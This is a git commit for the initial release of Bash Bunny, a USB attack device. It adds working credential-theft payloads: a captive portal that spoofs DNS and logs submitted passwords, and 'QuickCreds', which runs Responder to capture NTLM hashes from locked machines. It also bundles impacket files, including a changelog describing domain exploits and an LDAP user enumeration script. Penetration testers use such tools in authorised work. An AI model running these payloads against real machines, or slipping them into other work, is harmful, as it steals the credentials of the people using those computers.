Initial Bash Bunny Release

This commit is contained in:
Darren Kitchen
2017-02-28 13:23:16 -08:00
commit b63d4c3c01
295 changed files with 138834 additions and 0 deletions

View File

@@ -0,0 +1,24 @@
# Captive Portal for the Bash Bunny
Author: Sebkinne
Version: 1.0
## Description
Redirects and spoofs all DNS requests to the Bash Bunny, and serves a configurable captive portal. All captured credentials will be logged in the payload's folder in a file named *capture.log*.
## Configuration
Configured for Windows by default. Swap RNDIS_ETHERNET for ECM_ETHERNET on Mac/*nix.
The *portal.html* file can be modified as seen fit, but changes must remain in the file (no external images, css, or javascript).
To capture more information from the user, simply add more form inputs to *portal.html*, and update the *INPUTS* line in payload.txt. Example: `INPUTS=(email username password)`
## STATUS
| LED | Status |
| ---------------- | ----------------------------------- |
| Green (blinking) | The captive portal is starting up |
| Blue (solid) | The captive portal is ready for use |

Binary file not shown.

View File

@@ -0,0 +1,38 @@
#!/bin/bash
#
# Title: Captiveportal
# Author: Sebkinne
# Version: 1.0
# Add or remove inputs here
INPUTS=(username password)
# Enable Ethernet (RNDIS = Windows, ECM = mac/*nix)
ATTACKMODE RNDIS_ETHERNET
#ATTACKMODE ECM_ETHERNET
##################################################################
# DO NOT EDIT BELOW THIS LINE #
##################################################################
# Sets up iptable forwarding and filters
function setupNetworking() {
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -A INPUT -i usb0 -p udp --dport 53 -j ACCEPT
iptables -A INPUT -i usb0 -p tcp --dport 443 -j DROP
iptables -t nat -A PREROUTING -i usb0 -p tcp --dport 80 -j DNAT --to-destination 172.16.64.1:8080
iptables -t nat -A PREROUTING -i usb0 -p udp --dport 53 -j DNAT --to-destination 172.16.64.1:53
iptables -t nat -A POSTROUTING -j MASQUERADE
}
# Find payload directory and execute payload
function startCaptiveportal() {
cd $(dirname $(find /root/udisk/payloads/ -name portal.html))
chmod +x captiveportal
./captiveportal ${INPUTS[@]}
}
LED G 200
setupNetworking
startCaptiveportal &
LED B 0

View File

@@ -0,0 +1,18 @@
<html>
<head>
<title>Captive Portal</title>
<style type="text/css">
body {
text-align: center;
}
</style>
</head>
<body>
<h1>Captive Portal</h1>
<form method="post">
Username: <input type="username" name="username"><br>
Password: <input type="password" name="password"><br>
<input type="submit" value="Log in">
</form>
</body>
</html>

View File

@@ -0,0 +1,81 @@
#!/bin/bash
#
# Title: Quick Creds
# Author: Hak5Darren -- Cred: Mubix
# Version: 1.0
#
# Runs responder against target with specified options
# Saves sequential logs to mass storage loot folder
#
# Requires responder in /pentest/responder - run tools_installer payload first
#
# White Blinking.....Dependencies not met. Responder not installed in /pentest
# Red ...............Setup
# Red Blinking.......Setup Failed. Target did not obtain IP address. Exit.
# Amber Blinking.....Scanning
# Green..............Finished
#
# Options
RESPONDER_OPTIONS="-w -r -d -P"
LOOTDIR=/root/udisk/loot/quickcreds
# Check for responder. If not found, blink WHITE and end.
if [ ! -d /pentest/responder/ ]; then
LED R G B 100
exit 1
fi
# Set LED Red while setting up attack
LED R
# Use RNDIS for Windows. Mac/*nix use ECM_ETHERNET
ATTACKMODE RNDIS_ETHERNET
#ATTACKMODE ECM_ETHERNET
# Source bunny_helpers.sh for functions & variables TARGET_IP, TARGET_HOSTNAME
source bunny_helpers.sh
# Setup named logs in loot directory
mkdir -p $LOOTDIR
HOST=${TARGET_HOSTNAME}
# If hostname is blank set it to "noname"
[[ -z "$HOST" ]] && HOST="noname"
COUNT=$(ls -lad $LOOTDIR/$HOST* | wc -l)
COUNT=$((COUNT+1))
mkdir -p $LOOTDIR/$HOST-$COUNT
# As a backup also copy logs to a loot directory in /root/loot/
mkdir -p /root/loot/quickcreds/$HOST-$COUNT
# Check target IP address. If unset, blink RED and end.
if [ -z "${TARGET_IP}" ]; then
LED R 100
exit 1
fi
# Set LED yellow, run attack
LED G R 500
cd /pentest/responder
# Clean logs directory
rm logs/*
# Run Responder with specified options
python Responder.py -I usb0 $RESPONDER_OPTIONS &
# Wait until NTLM log is found
until [ -f logs/*NTLM* ]
do
# Ima just loop here until NTLM logs are found
sleep 1
done
# copy logs to loot directory
cp logs/* /root/loot/quickcreds/$HOST-$COUNT
cp logs/* $LOOTDIR/$HOST-$COUNT
# Sync USB disk filesystem
sync
# Light turns green - trap is clean.
LED G

View File

@@ -0,0 +1,31 @@
# QuickCreds for Bash Bunnys
Author: Hak5Darren
Version: Version 1.0
Credit: Mubix
## Description
Snags credentials from locked or unlocked machines
Based on the attack by Mubix of Room362.com
Implements a responder attack. Saves creds to the loot folder on the USB Disk
Looks for *NTLM* log files
## Configuration
Configured for Windows by default. Swap RNDIS_ETHERNET for ECM_ETHERNET on Mac/*nix
## Requirements
Responder must be in /pentest/responder/
Run the latest tools_installer payload or manually install
## STATUS
| LED | Status |
| ---------------- | ------------------------------------- |
| White (blinking) | Dependencies not met |
| Red | Setup |
| Red (blinking) | Setup Failed. Target didn't obtain IP |
| Amber | Responder running, waiting for creds |
| Green | Finished |

View File

@@ -0,0 +1,19 @@
#!/bin/bash
################################################################################
# Get target ip address and hostname from dhcp lease.
# This is for the attack mode of ETHERNET specified.
# Without ETHERNET specified, below environment variables will be empty.
#
# How this works?
# 1) ATTACKMODE waits until:
# a) target ip address is negotiated by dhcp
# b) time out
# 2) After ATTACKMODE, we can get target ip address and hostname.
################################################################################
leasefile="/var/lib/dhcp/dhcpd.leases"
export TARGET_IP=$(cat $leasefile | grep ^lease | awk '{ print $2 }' | sort | uniq)
export TARGET_HOSTNAME=$(cat $leasefile | grep hostname | awk '{print $2 }' \
| sort | uniq | tail -n1 | sed "s/^[ \t]*//" | sed 's/\"//g' | sed 's/;//')
export HOST_IP=$(cat /etc/network/interfaces.d/usb0 | grep address | awk {'print $2'})

View File

@@ -0,0 +1 @@
Update this library with the latest payload set from the Bash Bunny community and learn more about creating and publishing your own payloads at https://www.bashbunny.com

View File

@@ -0,0 +1,45 @@
# Check to ensure that the tools_to_install directory isn't empty.
# Exit with solid red LED if it is, otherwise note tools in log.
TOOLSDIR=$(find /root/udisk/payloads/ -name tools_to_install)
if [ "$(ls -A $TOOLSDIR)" ]; then
cd $TOOLSDIR
echo "Available Tools:" > /tmp/tools_installer.log
echo "----------------" >> /tmp/tools_installer.log
for i in $(ls -d */); do echo ${i%%/} >> /tmp/tools_installer.log; done
else
LED R
exit 1
fi
# Set LED to purple blinking and move tools
LED R B 100
mkdir -p /pentest
mv $TOOLSDIR/* /pentest/
# Set LED to purple solid and check that move completed
LED R B
if [ "$(ls -A $TOOLSDIR)" ]; then
# Set LED to red on fail and exit
LED R
exit 1
else
# Set LED to amber blinking on setup
LED G R 100
# Setup impacket
cd /pentest/impacket
python ./setup.py install
# Additional tool setup goes here
# List installed tools in /pentest and save to tools.txt on USB disk
cd /pentest/
echo "Installed Tools:" > /root/udisk/installed-tools.txt
echo "----------------" >> /root/udisk/installed-tools.txt
for i in $(ls -d */); do echo ${i%%/} >> /root/udisk/installed-tools.txt; done
sync && sleep 1 && sync
# Set LED to white on success
LED R G B
exit 0
fi

View File

@@ -0,0 +1,3 @@
# All of the heavy lifting of this payload occurs in install.sh
# which gets renamed to install.sh.INSTALLED once completed.
ATTACKMODE SERIAL STORAGE

View File

@@ -0,0 +1,13 @@
Tools Installer for Bash Bunny
Version 1.1.0
Moves tools from the tools_to_install/ USB disk to /pentest on the Bash Bunny
When installation succeeds, install.sh will be renamed to install.sh.INSTALLED
A list of installed tools is created on the USB disk as installed-tools.txt
Purple Blinking.................Moving tools
Purple Solid....................Tools moved
Amber Blinking..................Setup tools
Red Solid.......................Tool installation failed
White Solid.....................Installation completed successfully

View File

@@ -0,0 +1,57 @@
# Byte-compiled / optimized / DLL files
__pycache__/
*.py[cod]
# C extensions
*.so
# Distribution / packaging
.Python
env/
build/
develop-eggs/
dist/
downloads/
eggs/
.eggs/
lib/
lib64/
parts/
sdist/
var/
*.egg-info/
.installed.cfg
*.egg
# PyInstaller
# Usually these files are written by a python script from a template
# before PyInstaller builds the exe, so as to inject date/other infos into it.
*.manifest
*.spec
# Installer logs
pip-log.txt
pip-delete-this-directory.txt
# Unit test / coverage reports
htmlcov/
.tox/
.coverage
.coverage.*
.cache
nosetests.xml
coverage.xml
*,cover
# Translations
*.mo
*.pot
# Django stuff:
*.log
# Sphinx documentation
docs/_build/
# PyBuilder
target/

View File

@@ -0,0 +1,205 @@
Complete list of changes can be found at:
https://github.com/CoreSecurity/impacket/commits/master
June 2016: 0.9.15:
1) Library improvements
* SMB3.create: define CreateContextsOffset and CreateContextsLength when applicable (by @rrerolle)
* Retrieve user principal name from CCache file allowing to call any script with -k and just the target system (by @MrTchuss)
* Packet fragmentation for DCE RPC layer mayor overhaul.
* Improved pass-the-key attacks scenarios (by @skelsec)
* Adding a minimalistic LDAP/s implementation (supports PtH/PtT/PtK). Only search is available (and you need to
build the search filter yourself)
* IPv6 improvements for DCERPC/LDAP and Kerberos
2) Examples improvements
* Adding -dc-ip switch to all examples. It allows to specify what the IP for the domain is. It assumes the DC and KDC
resides in the same server
* secretsdump.py
a. Adding support for Win2016 TP4 in LOCAL or -use-vss mode
b. Adding -just-dc-user switch to download just a single user data (DRSUAPI mode only)
c. Support for different ReplEpoch (DRSUAPI only)
d. pwdLastSet is also included in the output file
e. New structures/flags added for 2016 TP5 PAM support
* wmiquery.py
a. Adding -rpc-auth-level switch (by @gadio)
* smbrelayx.py
a. Added option to specify authentication status code to be sent to requesting client (by @mgeeky)
b. Added one-shot parameter. After successful authentication, only execute the attack once for each target (per protocol)
3) New Examples
* GetUserSPNs.py: This module will try to find Service Principal Names that are associated with normal user account.
This is part of the kerberoast attack researched by Tim Medin (@timmedin)
* ntlmrelayx.py: smbrelayx.py on steroids!. NTLM relay attack from/to multiple protocols (HTTP/SMB/LDAP/MSSQL/etc)
(by @dirkjanm)
January 2016: 0.9.14:
1) Library improvements
* [MS-TSCH] - ATSVC, SASec and ITaskSchedulerService Interface implementations
* [MS-DRSR] - Directory Replication Service DRSUAPI Interface implementation
* Network Data Representation (NDR) runtime overhaul. Big performance and reliability improvements achieved
* Unicode support (optional) for the SMBv1 stack (by @rdubourguais)
* NTLMv2 enforcement option on SMBv1 client stack (by @scriptjunkie)
* Kerberos support for TDS (MSSQL)
* Extended present flags support on RadioTap class
* Old DCERPC runtime code removed
2) Examples improvements
* mssqlclient.py: Added Kerberos authentication support
* atexec.py: It now uses ITaskSchedulerService interface, adding support for Windows 2012 R2
* smbrelayx.py:
* If no file to upload and execute is specified (-E) it just dumps the target user's hashes by default
* Added -c option to execute custom commands in the target (by @byt3bl33d3r)
* secretsdump.py:
a. Active Directory hashes/Kerberos keys are dumped using [MS-DRSR] (IDL_DRSGetNCChanges method)
by default. VSS method is still available by using the -use-vss switch
b. Added -just-dc (Extract only NTDS.DIT NTLM Hashes and Kerberos) and
-just-dc-ntlm ( only NTDS.DIT NTLM Hashes ) options
c. Added resume capability (only for NTDS in DRSUAPI mode) in case the connection drops. Use -resumefile option
d. Added Primary:CLEARTEXT Property from supplementalCredentials attribute dump ([MS-SAMR] 3.1.1.8.11.5)
e. Add support for multiple password encryption keys (PEK) (by @s0crat)
* goldenPac.py: Tests all DCs in domain and adding forest's enterprise admin group inside PAC
3) New examples
* raiseChild.py: Child domain to forest privilege escalation exploit. Implements a child-domain to forest privilege
escalation as detailed by Sean Metcalf at https://adsecurity.org/?p=1640
* netview.py: Gets a list of the sessions opened at the remote hosts and keep track of them (original idea by @mubix)
May 2015: 0.9.13:
1) Library improvements
* Kerberos support for SMB and DCERPC featuring:
a. kerberosLogin() added to SMBConnection (all SMB versions).
b. Support for RPC_C_AUTHN_GSS_NEGOTIATE at the DCERPC layer. This will
negotiate Kerberos. This also includes DCOM.
c. Pass-the-hash, pass-the-ticket and pass-the-key support.
d. Ccache support, compatible with Kerberos utilities (kinit, klist, etc).
e. Support for RC4, AES128_CTS_HMAC_SHA1_96 and AES256_CTS_HMAC_SHA1_96 ciphers.
f. Support for RPC_C_AUTHN_LEVEL_PKT_PRIVACY/RPC_C_AUTHN_LEVEL_PKT_INTEGRITY.
* SMB3 encryption support. Pycrypto experimental version that supports
AES_CCM is required.
* [MS-SAMR]: Supplemental Credentials support (used by secretsdump.py)
* SMBSERVER improvements:
a. SMB2 (2.002) dialect experimental support.
b. Adding capability to export to John The Ripper format files
* Library logging overhaul. Now there's a single logger called 'impacket'.
2) Examples improvements
* Added Kerberos support to all modules (incl. pass-the-ticket/key)
* Ported most of the modules to the new dcerpc.v5 runtime.
* secretsdump.py: Added dumping Kerberos keys when parsing NTDS.DIT
* smbserver.py: support for SMB2 (not enabled by default)
* smbrelayx.py: Added support for MS15-027 exploitation.
3) New examples
* goldenPac.py: MS14-068 exploit. Saves the golden ticket and also launches a
psexec session at the target.
* karmaSMB.py: SMB Server that answers specific file contents regardless of
the SMB share and pathname requested.
* wmipersist.py: Creates persistence over WMI. Adds/Removes WMI Event
Consumers/Filters to execute VBS based on a WQL filter or timer specified.
July 2014: 0.9.12:
1) The following protocols were added based on its standard definition
* [MS-DCOM] - Distributed Component Object module Protocol (dcom.py)
* [MS-OAUT] - OLE Automation Protocol (dcom/oaut.py)
* [MS-WMI]/[MS-WMIO] : Windows Management Instrumentation Remote Protocol (dcom/wmi.py)
2) New examples
a. wmiquery.py: executes WMI queries and get WMI object's descriptions.
b. wmiexec.py: agent-less, semi-interactive shell using WMI.
c. smbserver.py: quick an easy way to share files using the SMB protocol.
February 2014: 0.9.11:
1) New RPC and NDR runtime (located at impacket.dcerpc.v5, old one still available)
a. Support marshaling/unmarshaling for NDR20 and NDR64 (experimental)
b. Support for RPC_C_AUTHN_NETLOGON (experimental)
c. The following interface were developed based on its standard definition:
* [MS-LSAD] - Local Security Authority (Domain Policy) Remote Protocol (lsad.py)
* [MS-LSAT] - Local Security Authority (Translation Methods) Remote Protocol (lsat.py)
* [MS-NRPC] - Netlogon Remote Protocol (nrpc.py)
* [MS-RRP] - Windows Remote Registry Protocol (rrp.py)
* [MS-SAMR] - Security Account Manager (SAM) Remote Protocol (samr.py)
* [MS-SCMR] - Service Control Manager Remote Protocol (scmr.py)
* [MS-SRVS] - Server Service Remote Protocol (srvs.py)
* [MS-WKST] - Workstation Service Remote Protocol (wkst.py)
* [MS-RPCE]-C706 - Remote Procedure Call Protocol Extensions (epm.py)
* [MS-DTYP] - Windows Data Types (dtypes.py)
Most of the DCE Calls have helper functions for easier use. Test cases added for
all calls (check the test cases directory)
2) ESE parser (Extensive Storage Engine) (ese.py)
3) Windows Registry parser (winregistry.py)
4) TDS protocol now supports SSL, can be used from mssqlclient
5) Support for EAPOL, EAP and WPS decoders
6) VLAN tagging (IEEE 802.1Q and 802.1ad) support for ImpactPacket, done by dan.pisi
7) New examples
a. rdp_check.py: tests whether an account (pwd or hashes) is valid against an RDP server
b. esentutl.py: ESE example to show how to interact with ESE databases (e.g. NTDS.dit)
c. ntfs-read.py: mini shell for browsing an NTFS volume
d. registry-read.py: Windows offline registry reader
e. secretsdump.py: agent-less remote windows secrets dump (SAM, LSA, CDC, NTDS)
March 2013: 0.9.10:
1) SMB version 2 and 3 protocol support ([MS-SMB2]). Signing supported, encryption for SMB3 still pending.
2) Added a SMBConnection layer on top of each SMB specific protocol. Much simpler and SMB version independent.
It will pick the best SMB Version when connecting against the target. Check smbconnection.py for a list of available
methods across all the protocols.
3) Partial TDS implementation ([MS-TDS] & [MC-SQLR]) so we could talk with MSSQL Servers.
4) Unicode support for the smbserver. Newer OSX won't connect to a non unicode SMB Server.
5) DCERPC Endpoints' new calls
a. EPM: lookup(): It can work as a general portmapper, or just to find specific interfaces/objects.
6) New examples
a. mssqlclient.py: A MS SQL client, allowing to do MS SQL or Windows Authentication (accepts hashes) and then gives
you an SQL prompt for your pleasure.
b. mssqlinstance.py: Lists the MS SQL instances running on a target machine.
c. rpcdump.py: Output changed. Hopefully more useful. Parsed all the Windows Protocol Specification looking for the
UUIDs used and that information is included as well. This could be helpful when reading a portmap output and to
develop new functionality to interact against a target interface.
d. smbexec.py: Another alternative to psexec. Less capabilities but might work on tight AV environments. Based on the
technique described at http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access. It also
supports instantiating a local smbserver to receive the output of the commandos executed for those situations
where no share is available on the other end.
e. smbrelayx.py: It now also listens on port 80 and forwards/reflects the credentials accordingly.
And finally tons of fixes :).
July 2012: 0.9.9:
1) Added 802.11 packets encoding/decoding
2) Addition of support for IP6, ICMP6 and NDP packets. Addition of IP6_Address helper class.
3) SMB/DCERPC
a. GSS-API/SPNEGO Support.
b. SPN support in auth blob.
c. NTLM2 and NTLMv2 support.
d. Default SMB port now 445. If *SMBSERVER is specified the library will try to resolve the netbios name.
e. Pass the hash supported for SMB/DCE-RPC.
f. IPv6 support for SMB/NMB/DCERPC.
g. DOMAIN support for authentication.
h. SMB signing support when server enforces it.
i. DCERPC signing/sealing for all NTLM flavours.
j. DCERPC transport now accepts an already established SMB connection.
k. Basic SMBServer implementation in Python. It allows third-party DCE-RPC servers to handle DCERPC Request (by
forwarding named pipes requests).
l. Minimalistic SRVSVC dcerpc server to be used by SMBServer in order to avoidg Windows 7 nasty bug when that pipe's
not functional.
4) DCERPC Endpoints' new calls
a. SRVSVC: NetrShareEnum(Level1), NetrShareGetInfo(Level2), NetrServerGetInfo(Level2), NetrRemoteTOD(),
NetprNameCanonicalize().
b. SVCCTL: CloseServiceHandle(), OpenSCManagerW(), CreateServiceW(), StartServiceW(), OpenServiceW(), OpenServiceA(),
StopService(), DeleteService(), EnumServicesStatusW(), QueryServiceStatus(), QueryServiceConfigW().
c. WKSSVC: NetrWkstaTransportEnum().
d. SAMR: OpenAlias(), GetMembersInAlias().
e. LSARPC: LsarOpenPolicy2(), LsarLookupSids(), LsarClose().
5) New examples
a. ifmap.py: First, this binds to the MGMT interface and gets a list of interface IDs. It adds to this a large list
of interface UUIDs seen in the wild. It then tries to bind to each interface and reports whether the interface is
listed and/or listening.
b. lookupsid.py: DCE/RPC lookup sid brute forcer example.
c. opdump.py: This binds to the given hostname:port and DCERPC interface. Then, it tries to call each of the first
256 operation numbers in turn and reports the outcome of each call.
d. services.py: SVCCTL services common functions for manipulating services (START/STOP/DELETE/STATUS/CONFIG/LIST).
e. test_wkssvc: DCE/RPC WKSSVC examples, playing with the functions Implemented.
f. smbrelayx: Passes credentials to a third party server when doing MiTM.
g. smbserver: Multiprocess/threading smbserver supporting common file server functions. Authentication all done but
not enforced. Tested under Windows, Linux and MacOS clients.
h. smbclient.py: now supports history, new commands also added.
i. psexec.py: Execute remote commands on Windows machines

View File

@@ -0,0 +1,84 @@
Licencing
---------
We provide this software under a slightly modified version of the
Apache Software License. The only changes to the document were the
replacement of "Apache" with "Impacket" and "Apache Software Foundation"
with "CORE Security Technologies". Feel free to compare the resulting
document to the official Apache license.
The `Apache Software License' is an Open Source Initiative Approved
License.
The Apache Software License, Version 1.1
Modifications by CORE Security Technologies (see above)
Copyright (c) 2000 The Apache Software Foundation. All rights
reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
1. Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in
the documentation and/or other materials provided with the
distribution.
3. The end-user documentation included with the redistribution,
if any, must include the following acknowledgment:
"This product includes software developed by
CORE Security Technologies (http://www.coresecurity.com/)."
Alternately, this acknowledgment may appear in the software itself,
if and wherever such third-party acknowledgments normally appear.
4. The names "Impacket" and "CORE Security Technologies" must
not be used to endorse or promote products derived from this
software without prior written permission. For written
permission, please contact oss@coresecurity.com.
5. Products derived from this software may not be called "Impacket",
nor may "Impacket" appear in their name, without prior written
permission of CORE Security Technologies.
THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED
WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR
ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF
USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
SUCH DAMAGE.
Smb.py and nmb.py are based on Pysmb by Michael Teo
(http://miketeo.net/projects/pysmb/), and are distributed under the
following license:
This software is provided 'as-is', without any express or implied
warranty. In no event will the author be held liable for any damages
arising from the use of this software.
Permission is granted to anyone to use this software for any purpose,
including commercial applications, and to alter it and redistribute it
freely, subject to the following restrictions:
1. The origin of this software must not be misrepresented; you must
not claim that you wrote the original software. If you use this
software in a product, an acknowledgment in the product
documentation would be appreciated but is not required.
2. Altered source versions must be plainly marked as such, and must
not be misrepresented as being the original software.
3. This notice cannot be removed or altered from any source
distribution.

View File

@@ -0,0 +1,4 @@
include MANIFEST.in
include LICENSE
include ChangeLog
recursive-include examples *.txt *.py

View File

@@ -0,0 +1,83 @@
What is Impacket?
=================
Impacket is a collection of Python classes for working with network
protocols. Impacket is focused on providing low-level
programmatic access to the packets and for some protocols (for
instance NMB, SMB1-3 and MS-DCERPC) the protocol implementation itself.
Packets can be constructed from scratch, as well as parsed from
raw data, and the object oriented API makes it simple to work with
deep hierarchies of protocols. The library provides a set of tools
as examples of what can be done within the context of this library.
A description of some of the tools can be found at:
http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=tool&name=Impacket
What protocols are featured?
----------------------------
* Ethernet, Linux "Cooked" capture.
* IP, TCP, UDP, ICMP, IGMP, ARP. (IPv4 and IPv6)
* NMB and SMB1/2/3 (high-level implementations).
* DCE/RPC versions 4 and 5, over different transports: UDP (version 4
exclusively), TCP, SMB/TCP, SMB/NetBIOS and HTTP.
* Portions of the following DCE/RPC interfaces: Conv, DCOM (WMI, OAUTH),
EPM, SAMR, SCMR, RRP, SRVSC, LSAD, LSAT, WKST, NRPC.
Getting Impacket
================
* [Current and past releases](https://github.com/CoreSecurity/impacket/releases)
* [Trunk](https://github.com/CoreSecurity/impacket)
Setup
=====
Quick start
-----------
Grab the latest stable release, unpack it and run `python setup.py
install` from the directory where you placed it. Isn't that easy?
Requirements
============
* A Python interpreter. Versions 2.0.1 and newer are known to work.
1. If you want to run the examples and you have Python < 2.7, you
will need to install the `argparse` package for them to work.
2. For Kerberos support you will need `pyasn1` package
3. For cryptographic operations you will need `pycrypto` package
4. For some examples you will need `pyOpenSSL` (rdp_check.py) and ldap3 (ntlmrelayx.py)
5. For ntlmrelayx.py you will also need `ldapdomaindump`
6. If you're under Windows, you will need `pyReadline`
* A recent release of Impacket.
Installing
----------
In order to install the source execute the following command from the
directory where the Impacket's distribution has been unpacked: `python
setup.py install`. This will install the classes into the default
Python modules path; note that you might need special permissions to
write there. For more information on what commands and options are
available from setup.py, run `python setup.py --help-commands`.
Licensing
=========
This software is provided under under a slightly modified version of
the Apache Software License. See the accompanying LICENSE file for
more information.
SMBv1 and NetBIOS support based on Pysmb by Michael Teo.
Contact Us
==========
Whether you want to report a bug, send a patch or give some
suggestions on this package, drop us a few lines at
oss@coresecurity.com.

View File

@@ -0,0 +1,263 @@
#!/usr/bin/env python
# Copyright (c) 2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author:
# Alberto Solino (@agsolino)
#
# Description:
# This script will gather data about the domain's users and their corresponding email addresses. It will also
# include some extra information about last logon and last password set attributes.
# You can enable or disable the the attributes shown in the final table by changing the values in line 184 and
# headers in line 190.
# If no entries are returned that means users don't have email addresses specified.
#
# Reference for:
# LDAP
#
import argparse
import logging
import os
import sys
from datetime import datetime
from binascii import hexlify, unhexlify
from pyasn1.codec.der import decoder
from impacket import version
from impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE, UF_NORMAL_ACCOUNT
from impacket.examples import logger
from impacket.krb5 import constants
from impacket.krb5.asn1 import TGS_REP
from impacket.krb5.ccache import CCache
from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
from impacket.krb5.types import Principal
from impacket.ldap import ldap, ldapasn1
from impacket.smbconnection import SMBConnection
class GetADUsers:
@staticmethod
def printTable(items, header):
colLen = []
for i, col in enumerate(header):
rowMaxLen = max([len(row[i]) for row in items])
colLen.append(max(rowMaxLen, len(col)))
outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(colLen)])
# Print header
print outputFormat.format(*header)
print ' '.join(['-' * itemLen for itemLen in colLen])
# And now the rows
for row in items:
print outputFormat.format(*row)
def __init__(self, username, password, domain, cmdLineOptions):
self.options = cmdLineOptions
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__aesKey = cmdLineOptions.aesKey
self.__doKerberos = cmdLineOptions.k
self.__target = None
self.__kdcHost = cmdLineOptions.dc_ip
self.__requestUser = cmdLineOptions.user
if cmdLineOptions.hashes is not None:
self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':')
# Create the baseDN
domainParts = self.__domain.split('.')
self.baseDN = ''
for i in domainParts:
self.baseDN += 'dc=%s,' % i
# Remove last ','
self.baseDN = self.baseDN[:-1]
def getMachineName(self):
if self.__kdcHost is not None:
s = SMBConnection(self.__kdcHost, self.__kdcHost)
else:
s = SMBConnection(self.__domain, self.__domain)
try:
s.login('', '')
except Exception:
logging.debug('Error while anonymous logging into %s' % self.__domain)
s.logoff()
return s.getServerName()
@staticmethod
def getUnixTime(t):
t -= 116444736000000000
t /= 10000000
return t
def run(self):
if self.__doKerberos:
self.__target = self.getMachineName()
else:
if self.__kdcHost is not None:
self.__target = self.__kdcHost
else:
self.__target = self.__domain
# Connect to LDAP
try:
ldapConnection = ldap.LDAPConnection('ldap://%s'%self.__target, self.baseDN, self.__kdcHost)
if self.__doKerberos is not True:
ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
else:
ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
self.__aesKey, kdcHost=self.__kdcHost)
except ldap.LDAPSessionError, e:
if str(e).find('strongerAuthRequired') >= 0:
# We need to try SSL
ldapConnection = ldap.LDAPConnection('ldaps://%s' % self.__target, self.baseDN, self.__kdcHost)
if self.__doKerberos is not True:
ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
else:
ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
self.__aesKey, kdcHost=self.__kdcHost)
else:
raise
# Building the search filter
searchFilter = "(&(sAMAccountName=*)(mail=*)"
if self.__requestUser is not None:
searchFilter += '(sAMAccountName:=%s))' % self.__requestUser
else:
searchFilter += ')'
try:
logging.info('Querying %s for information about domain. Be patient...' % self.__target)
sc = ldap.SimplePagedResultsControl()
resp = ldapConnection.search(searchFilter=searchFilter,
attributes=['sAMAccountName', 'pwdLastSet', 'mail', 'lastLogon'],
sizeLimit=0, searchControls = [sc])
except ldap.LDAPSearchError, e:
if e.getErrorString().find('sizeLimitExceeded') >= 0:
logging.debug('sizeLimitExceeded exception caught, giving up and processing the data received')
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
# paged queries
resp = e.getAnswers()
pass
else:
raise
answers = []
logging.debug('Total of records returned %d' % len(resp))
for item in resp:
if isinstance(item, ldapasn1.SearchResultEntry) is not True:
continue
sAMAccountName = ''
pwdLastSet = ''
mail = ''
lastLogon = 'N/A'
try:
for attribute in item['attributes']:
if attribute['type'] == 'sAMAccountName':
if str(attribute['vals'][0]).endswith('$') is False:
# User Account
sAMAccountName = str(attribute['vals'][0])
elif attribute['type'] == 'pwdLastSet':
if str(attribute['vals'][0]) == '0':
pwdLastSet = '<never>'
else:
pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
elif attribute['type'] == 'lastLogon':
if str(attribute['vals'][0]) == '0':
lastLogon = '<never>'
else:
lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
elif attribute['type'] == 'mail':
mail = str(attribute['vals'][0])
answers.append([sAMAccountName, mail, pwdLastSet, lastLogon])
except Exception, e:
logging.error('Skipping item, cannot process due to error %s' % str(e))
pass
if len(answers)>0:
self.printTable(answers, header=[ "Name", "Email", "PasswordLastSet", "LastLogon"])
print '\n\n'
else:
print "No entries found!"
# Process command-line arguments.
if __name__ == '__main__':
# Init the example's logger theme
logger.init()
print version.BANNER
parser = argparse.ArgumentParser(add_help = True, description = "Queries target domain for users data")
parser.add_argument('target', action='store', help='domain/username[:password]')
parser.add_argument('-user', action='store', metavar='username', help='Requests data for specific user ')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
'(KRB5CCNAME) based on target parameters. If valid credentials '
'cannot be found, it will use the ones specified in the command '
'line')
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
'(128 or 256 bits)')
